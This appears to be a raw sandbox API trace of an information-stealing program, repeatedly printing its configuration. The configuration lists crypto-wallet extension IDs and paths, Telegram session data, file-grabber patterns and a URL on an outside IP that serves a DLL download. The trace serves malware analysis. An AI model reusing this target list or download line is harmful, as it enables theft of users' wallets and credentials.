Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.350] lstrlenW (lpString="libs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4635 [0259.350] lstrlenW (lpString="libs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4635 [0259.350] LocalAlloc (uFlags=0x40, uBytes=0x2436) returned 0x6b9720 [0259.350] lstrlenW (lpString="libs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4635 [0259.350] LocalAlloc (uFlags=0x40, uBytes=0x2436) returned 0x6bbb60 [0259.351] lstrlenW (lpString="libs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4635 [0259.351] LocalAlloc (uFlags=0x40, uBytes=0x2436) returned 0x6bdfa0 [0259.351] StrStrW (lpFirst="libs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension 